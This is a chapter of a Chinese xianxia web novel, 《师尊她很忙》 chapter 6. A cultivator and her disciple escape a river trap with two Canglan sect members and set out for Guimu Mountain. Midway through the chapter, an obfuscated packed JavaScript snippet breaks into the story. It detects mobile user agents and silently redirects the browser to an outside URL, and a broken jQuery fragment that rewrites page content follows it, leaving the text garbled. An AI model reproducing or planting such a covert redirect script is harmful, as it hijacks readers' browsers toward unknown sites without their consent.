6. 鬼母山(二)
作品:《师尊她很忙》 小船游于河面,细梭的船身拉出水波,在朦胧月光下像一条水蛇游过。
水雾之间,四人昏倒,唯有刀客嘴里仍在念叨“不离开”。
船夫在船尾摇着舟楫,佝偻着身姿叹息,“归乡,归乡……”
刀客本神情呆傻,但在船夫声音响起时,缓缓走上船尾,蹲在船夫身边,牙牙学语般念叨着“归乡”。
不多时,船夫停了桨,未进舱内,一双瘦骨嶙峋的手拿起蓑衣下藏着的哨子。
一声哨响似要打碎林间飞禽走兽的深梦,不多时河道两旁便飞影绰绰。
四人仍是昏迷的模样。
“可惜了,”船夫盯着四人,声音阴沉中夹杂着一丝哀悼,“可惜了两个女娃。”
“哗啦”一声,河面荡开阵阵水波。
船,又继续行远,刀客蹲在船尾,眼神虽浑浊,但音调如幼童,他小声喃喃,“落水啦,落水啦……”
东方离在落水的一瞬,先前被温怜在耳畔护下的避水咒立刻生效,莹莹光亮包裹着东方离。
他伸手想抓住温怜,但温怜用眼神示意他发出动静。
当刀客的声音越来越小,东方离立马朝温怜游去,但已握在手心的衣袖却立马向另一个方向远去,东方离立马明白,温怜要救那个白衣少年。
宋泞川在水雾袭来的瞬间立马捂住口鼻,但是被藤清之忽得用手肘一击,便吸了水雾晕倒过去。
他下坠的速度远比清醒的三人快,像是被暗水下无形的手拖拽着,身影闪过温怜身边。
温怜本以为与他同行的女子会搭手救他,但藤清之已游到水面,静静潜伏。
待听不到小船声,温怜立马抓着宋泞川的衣领将人拖出水面,继而转身寻找东方离。
树荫阴影遮住了他半张脸,只唇色被微弱的月光照亮,少年抿着唇,眼神不满。
温怜拎着宋泞川,再次用眼神示意他别说话。
东方离瞥了一眼还在昏迷的人,目光又落在温怜脸上。
与他不同,温怜落在月光下。
她漂浮在水面,河水打湿了她尚未绾起的长发,水滴顺着纠缠在温怜脖颈的长发缓缓滴落,水雾氤氲在她眉眼,让本就清丽的容颜更显柔和,像被唤醒神韵的水墨画中人。
藤清之只在温怜将宋泞川带出水面时打量了她一眼,此刻已向岸边游去。
“先上岸。”温怜对东方离轻声说道。
东方离因温怜的话回过神,有一瞬觉得温怜待在水里更好,自己也应该待在黑暗里,将自己的眼神藏住。
温怜未听到身后的动静,便回头查看东方离,正好撞见他扇了自己一巴掌。
温怜:“?”
东方离不看她,沉默地向岸边游去。
四人上了岸,宋泞川躺在地上未醒。
“你刚刚是什么意思?”温怜向东方离问到。
东方离垂眸看着地面,“……心有妄念。”
温怜拧了一个暖火咒,落在四人身上,驱散寒气和身上衣物的潮湿。
“什么妄念?”
东方离心下一笑,怎么可能说出。
他睨眼看向宋泞川,缓缓道:“身为修者,不愿救人,乃是妄念。”
“知错能改,不愧是我……”
温怜刚想说出“弟子”二字,便想起岸上还有一人。
“清之姑娘,不知你是否听清了我阿弟的话?”
温怜看向藤清之,她表情无波澜,似乎毫不在意随行人的死活。
“方才在船上时,我见姑娘与这位泞川小友相熟,既是友人,何故让他身处险境?”
“相熟?”藤清之轻笑,“我不想知道你二人是何身份,是何关系,既然都是修者,便就此别过吧。”
藤清之转身欲走,身后一道冷淡的男声响起。
“你不想带着的累赘,便要麻烦我与阿姐么?”
东方离的脸融在深深夜色里,唯有一双眼瞳明亮却淡漠。
“清之姑娘,你此行是来探查鬼母山之事?”
温怜叫住想要离开的身影,“船夫和刀客太过诡异,沧澜门弟子先前又未发现异常,与其一人探查,不如我们几人同行。”
藤清之沉默地听完温怜的话,后转过身,眼神稍显认真,“你们若有闲心,就带着宋泞川离开此地。”
“清之姑娘,对此地很熟悉?”
“瘴水河,附近有村寨。”
“那看来我们距离鬼母山很近了,瘴水河临近瘴村,而瘴村就在鬼母山山脚。”
温怜从前去沧澜门论剑时,曾夸赞过某位长老的弟子,闲谈间得知他在瘴村出生,背靠鬼母山,前临瘴水河。
因地名特殊,温怜印象也深了几分。
“若你们想去鬼母山送死,我不拦着。”藤清之语气平淡。
东方离冷笑,“沧澜门的弟子都死不了,我们为何会送死?”
“沧澜门多废物,我怎知你们不是废物?”藤清之目光有一瞬落在宋泞川身上。
真不巧,温怜面上一笑但未说出,她和东方离还真不算废物。
仙门修者,以化灵境为入门,而后是纳灵境、藏心境、逍遥境、大宗师境、更高则是齐物境,目前仙盟一代尚未有人突破,每个阶段又分为初阶、中阶、高阶。
温怜入不应天时,一年内连破化灵、纳灵、藏心八阶,到达藏心境高阶后因被师门宠溺,对修行也变得散漫。从前对逍遥境的态度是可破可不破,但经东方离以长生莲续命后,她觉得这境界还是得破的。
而东方离这家伙,温怜心中思索,初遇东方离时,少年十四岁已是纳灵境高阶,天赋不错,但随后在温怜身边多年,都未破镜。
温怜从前只当他心结未解,所以从不勉强对方,但如今……
东方离注意到温怜久久盯着他的视线,两人目光在黑暗中相遇,皆无声。
最后是温怜错开目光,心中叹道:算了,现在先不问。
她看向藤清之,笑笑道:“姑娘不用担心我二人是累赘,我与阿弟都已入纳灵境高阶,可与清之姑娘同行。”
温怜释放的灵力只为遮掩身份,装作普通仙门修者,毕竟东方离目前还处于被仙盟通缉的状态。
藤清之在探明温怜释放的灵力后,又多看了东方离一眼,少年神情孤傲,眼神沉而冷,和看向他“阿姐”的目光全然不同。
她想起船上刀客的猜测,瞟了一眼地上的宋泞川,冷声道:“我不喜与人同行。”
*
天稍亮,梓家茶馆,三人端坐。
青衣裙女子面容清秀,令早晨走街的卖花大娘见到她时笑呵呵地送了一支红梅。
“我师姐扔下这样一句话就离开了?”
宋泞川醒来的第一句话便是——师姐,救我。
温怜见他一脸惊吓的样子,稍微明白藤清之为何不想搭理他,仙门修者,多仰慕强者。
宋泞川称得上是菜而自知。
修炼二十年,至今仍在化灵境中阶,他一边饮茶,一边感慨自己是误打误闯地走了修仙这条歧路,他神色自若,毫无自卑或是伤怀之感。
不过,温怜注意到他的用词,挑了挑眉,“纠正一下,你师姐明明扔下的是你。”
宋泞川将温怜面前的红梅拿起来把玩,随后仰天叹气,做垂泪模样。
他刚要开口说话,拿着红梅的双手就被飞来的茶碗盖击中,瞬得让他撒开手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111673|164095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“道友,这是作何?”他脸上带痛,看向东方离。
东方离伸手将红梅重新放到温怜面前,没给宋泞川一个眼神。
“阿离……”温怜见他闹脾气,只好向宋泞川颔首,“家弟一夜未眠,此刻情绪不佳。”
东方离的确一夜未眠,罪魁祸首除了将他们抛下水的船夫,还有面前的宋泞川。
温怜与东方离在藤清之消失后,在密林中寻到一条有足迹的小径,二人本想踏路寻找附近村寨,但一直昏迷的宋泞川开始哇哇大叫,搀扶着他的东方离几次抛下他,又忍着脾气将人扛起。
“宋道友,可是有梦魇之症?”
温怜昨夜施法查看宋泞川身上是否有妖邪,最后发现对方只是被困在梦魇中,醒不过来。
“这个嘛…”宋泞川一脸纠结,但又瞧见东方离阴沉的表情,于是解释道:“我小时溺水后得的毛病,师傅说我是心结,所以药物灵丹都不曾起效。”
“平日修习时不会发作,但一遇到让我害怕的事情,就会如此。”
他声量越说越低,不敢看东方离。
“原来如此,”温怜闻言又看了他一眼,问道:“你与师姐是沧澜门弟子?”
宋泞川点点头,忽眼神一亮,像是想起要紧的事情,赶忙说道:“两位修者能帮我拦住师姐吗?”
“不能。”东方离眼神冷冷扫来。
“为何要拦住滕姑娘?你知道她要去何处?”温怜看向宋泞川。
“鬼母山,瘴村荒塚。”
宋泞川紧拧眉心,“我虽修为差,但直觉告诉我二位修为高深,不是一般人。”
东方离冷笑。
温怜给了他一个眼神,示意他收敛性子。
“你既然知道,为何不亲自去阻拦?”
“我打不过师姐。”宋泞川回答得干脆。
“……嗯,这也无可反驳,我记得沧澜门弟子在外历练,皆需三人一组同行,可从昨晚登船起,我便只见到你与清之姑娘二人。”
宋泞川更是深深叹气,“的确还有一人,是我师姐道侣。”
温怜闻言,饮茶时稍呛,“难怪清之姑娘不想和你同行,那另一人去了哪里?”
宋泞川盯着茶水,蹙眉道:“谢濯师兄乃瘴村生人,在鬼母山接连发生失踪案后,他就作为派守弟子留在瘴村,但那些失踪者回来后经检查无异常,于是守长老宣布瘴村事了,就将留守弟子全部召回。”
“但是,谢濯师兄与守长老大吵一架离开师门,之后就下落不明。也因为这件事,守长老下令所有弟子不得擅自离山。”
“所以,清之姑娘觉得他是回到了瘴村,特来寻人。”
宋泞川点头,“其实,我与师姐不是第一次来了。”
“五日前,师姐偷偷下山,我担心师姐被责罚就跟了她一路,后面我们来到瘴村,师姐在荒塚前发现了谢濯师兄的佩剑。”
“也许是我暴露了行踪,在师姐想要检查荒塚时,我们就被赶来的守长老拦下,带回山门后关了三天禁闭。”
温怜蹙眉,云决让自己找在鬼母山失踪的故交,而鬼母山十月前发生的失踪案由沧澜门负责搜寻,自己和东方离被一个阵法传来渡口,恰好上了贼船,遇到了宋泞川二人,而她们正是沧澜门弟子,现在所寻之人曾寻找过失踪者,现在又成了失踪者。
一切都在鬼母山。
“阿离,你师叔真是给我们挖了一个大坑啊。”
温怜朝东方离看去,但她眼神里不见烦恼,而是一股如晨露的清亮明媚。
东方离熟悉这般的眼神,于是,他起身,衣诀微扫过地面尘土,少年人身影在日光下格外高挑清瘦。
“阿姐,我们去鬼母山。”